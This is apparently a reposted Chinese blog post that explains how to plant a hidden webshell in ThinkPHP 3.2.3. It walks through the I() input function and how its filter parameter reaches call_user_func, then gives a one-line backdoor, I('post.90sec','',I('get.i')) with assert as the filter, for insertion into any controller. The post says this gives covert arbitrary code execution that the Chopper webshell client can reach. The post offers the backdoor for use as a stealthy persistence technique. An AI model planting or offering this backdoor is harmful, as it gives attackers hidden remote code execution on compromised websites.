zoukankan      html  css  js  c++  java
  • ThinkPHP留后门技巧

    原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

    90sec上有人问,我说了还有小白不会用。去年我审计TP的时候留意到的,干脆分析一下代码和操作过程。

        thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post、cookie类似。

        let me see see I函数的代码:

    01 function I($name$default ''$filter = null, $datas = null)
    02 {
    03     ...
    04  
    05     if ('' == $name) {
    06         // 获取全部变量
    07         $data    $input;
    08         $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
    09         if ($filters) {
    10             if (is_string($filters)) {
    11                 $filters explode(','$filters);
    12             }
    13             foreach ($filters as $filter) {
    14                 $data = array_map_recursive($filter$data); // 参数过滤
    15             }
    16         }
    17     elseif (isset($input[$name])) {
    18         // 取值操作
    19         $data    $input[$name];
    20         $filters = isset($filter) ? $filter : C('DEFAULT_FILTER');
    21         if ($filters) {
    22             if (is_string($filters)) {
    23                 if (0 === strpos($filters'/')) {
    24                     if (1 !== preg_match($filters, (string) $data)) {
    25                         // 支持正则验证
    26                         return isset($default) ? $default : null;
    27                     }
    28                 else {
    29                     $filters explode(','$filters);
    30                 }
    31             elseif (is_int($filters)) {
    32                 $filters array($filters);
    33             }
    34  
    35             if (is_array($filters)) {
    36                 foreach ($filters as $filter) {
    37                     if (function_exists($filter)) {
    38                         $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
    39                     else {
    40                         $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
    41                         if (false === $data) {
    42                             return isset($default) ? $default : null;
    43                         }
    44                     }
    45                 }
    46             }
    47         }
    48     ...
    49     return $data;
    50 }

        I函数的第三个参数是$filter,作用是对变量的过滤。

        新版本(3.2.3)中,$filter可以传入两种4种值:

        1.一个过滤函数(字符串)

        2.一些过滤函数组成的字符串,其间用“|”分割

        3.一些过滤函数的字符串组成的数组

        4.以“/”开头的正则表达式

        可见代码,若$filter为空的话,其默认值为C('DEFAULT_FILTER')。我们在配置文件中可以看到,DEFAULT_FILTER=htmlspecialchars

        convention_php_—_thinkphp.png

        以上4个情况最后归为两个,1是过滤回调函数,2是过滤的正则。正则部分如下:

    1 if (0 === strpos($filters'/')) {
    2     if (1 !== preg_match($filters, (string) $data)) {
    3         // 支持正则验证
    4         return isset($default) ? $default : null;
    5     }
    6 }

        如果第0个字符是/,则说明传入的是正则,用preg_match进行匹配验证,不匹配则返回默认值$default。

        而回调函数部分,是我们留后门的关键。核心是这一段:

    01 if (is_array($filters)) {
    02     foreach ($filters as $filter) {
    03         if (function_exists($filter)) {
    04             $data is_array($data) ? array_map_recursive($filter$data) : $filter($data); // 参数过滤
    05         else {
    06             $data = filter_var($datais_int($filter) ? $filter : filter_id($filter));
    07             if (false === $data) {
    08                 return isset($default) ? $default : null;
    09             }
    10         }
    11     }
    12 }

        如果函数存在,则直接调用array_map_recursive执行。如果函数不存在,则用php默认的过滤器filter_var进行过滤。

        我们跟进array_map_recursive函数:

    01 function array_map_recursive($filter$data)
    02 {
    03     $result array();
    04     foreach ($data as $key => $val) {
    05         $result[$key] = is_array($val)
    06         ? array_map_recursive($filter$val)
    07         : call_user_func($filter$val);
    08     }
    09     return $result;
    10 }

        明显是一个递归执行的过程,最后调用的是call_user_func 。

        还记得我说过的php回调后门么(https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html),ThinkPHP厚道,居然给我们预置了一个回调后门,让我们可以万分隐蔽的留下webshell。

        所以,我们只需要随意找个controller,在可访问的方法中插入:

    1 I('post.90sec''', I('get.i'));

        如上,第三个参数就是刚说的$filter,我们只需要把回调后门函数名字(assert)作为第三个参数传入,即可构造一个回调后门。

        我就拿thinkphp默认的IndexController下的index方法示例:

        IndexController_class_php_—_thinkphp.png

        如下即可执行任意代码:

        phpinfo__.png

        一个回调后门,菜刀也可以连接。

  • 相关阅读:
    java代码split分割数字类
    P1330 封锁阳光大学
    1022 舞会2
    1626 爱在心中
    P2024 食物链(two)
    P1196 银河英雄传说
    P1892 团伙
    P1546 最短网络(最小生成树)
    烦人的幻灯片(拓扑)
    例4.15 奖金(拓扑排序)
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4973396.html
Copyright © 2011-2022 走看看